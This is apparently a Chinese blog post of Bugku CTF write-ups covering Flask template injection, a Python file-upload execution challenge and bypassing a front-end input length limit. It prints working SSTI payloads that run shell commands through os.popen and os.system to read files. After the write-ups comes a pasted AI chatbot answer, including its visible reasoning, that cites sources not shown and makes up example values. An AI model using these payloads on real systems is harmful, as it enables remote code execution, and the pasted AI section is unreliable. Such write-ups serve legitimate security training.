Bugku CTF 合集

1.Simple_SSTI_1

1.打开靶场,翻译得知需要输入一个flag作为参数,检查源代码,发现可以设置 secret key 作为变量

经了解,

SSTL 是一个模板注入,

SECRET KEY:是flask 一个重要得配置值 需要用以下代码来加密

/?flag={{config.SECRET KEY}}(注意大小写),或直接 /?flag={{config}}

2.Simple_SSTI_2

1.打开靶场,发现这关依旧需要以 flag 作为参数,源码中没有提示

2.使用 {{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }} 查看文件

3.依次查看目录,运气不错, flag 在第一个目录

4.将 ls 换为 cat 添加 flag 路径,查看 flag 的内容,获取 flag

3.Flask_FileUpload

1.打开靶场,发现是文件上传,查看源码,发现本关会将上传的 jpg,png 后缀的文件以 python 运行后返回结果

2.创建一个文本文档,写入 python 代码来查看根目录

import os;		引用 os 模块
os.system("ls /");		调用 os 模块中的 system 函数执行查看根目录

3.修改代码获取 flag 内容

import os;	
os.system("cat /flag");

4.滑稽

本关打开靶场后发现没有任何可利用数据,所以直接查看源代码,使用 ctrl+f 查询 flag 直接获取flag

5.计算器

1.本关提示只要输入正确答案就可以获取flag,题目很简单,但发现输入框只能输入一位数

2. f12 打开源代码,选中输入框获取其代码,将其中的长度限制改大

3.输入正确答案,获取flag

<think>好的,我现在需要回答用户关于Bugku CTF中的“计算器”题目的问题。首先,用户提到的是寻找相关的工具、题目和解题方法。根据用户提供的引用内容,我需要整合这些信息,确保符合系统级指令的要求,比如正确使用LaTeX格式,结构清晰,并生成相关问题。 首先,我需要回顾用户提供的引用内容。引用1、3、5都提到了“计算器”题目,其中关键点是输入答案时被限制只能输入一位数,解决方法是通过修改HTML中的maxlength属性。引用5还提到可能需要查看JS文件,但根据其他引用,可能不需要这一步,直接修改maxlength即可。引用2和4虽然涉及BugkuCTF的Web题,但可能不直接相关,但可以辅助说明解题思路。 接下来,我需要组织解题步骤。根据引用1、3、5,解题步骤大致是:查看页面发现输入限制,检查源码找到maxlength属性,修改该属性值,输入正确答案,得到flag。需要注意使用中文,正确应用行内公式,例如计算题可能涉及数学表达式,比如$3+5*2$,但用户提供的引用中没有具体题目内容,所以可能需要泛泛而谈。 然后,生成相关问题。根据用户示例,问题应围绕题目的关键点,比如如何绕过输入限制、其他类似题目、常见漏洞类型等。 需要确保回答中引用的段落末尾添加引用标识,比如[^1]、[^3]、[^5]。同时,检查LaTeX是否正确,比如变量用$包裹,独立公式用$$,但当前问题中可能没有复杂的数学公式,所以可能不需要独立公式。 最后,结构要清晰,分步骤说明解题方法,并确保回答真实可靠,引用正确来源。</think>### Bugku CTF 计算器题目解析 该题目是Bugku CTF平台上的Web基础题,要求通过修改前端限制获取flag。以下是具体解题方法: #### 解题步骤 1. **观察题目限制** 题目页面显示一个数学计算题(例如$3+5*2$),但输入框仅允许输入1位数字。根据引用,输入答案时发现无法提交正确结果(如答案为13时需输入两位数)。 2. **查看网页源码** 右键检查页面元素,查找输入框对应的HTML代码,会发现类似语句: ```html <input type="text" maxlength="1"> ``` 其中`maxlength="1"`限制了输入长度。 3. **修改输入限制** 将`maxlength`属性值从1改为3(或直接删除该属性),例如: ```html <input type="text" maxlength="3"> ``` 修改后即可输入多位数字。 4. **提交正确答案** 输入计算结果(如116或13),系统验证通过后返回flag(如`flag{CTF-bugku-0032}`)。 #### 技术原理 该题目考察对前端验证的绕过能力。通过修改客户端HTML属性,绕过输入限制,属于Web安全中“客户端控制”漏洞的典型场景[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值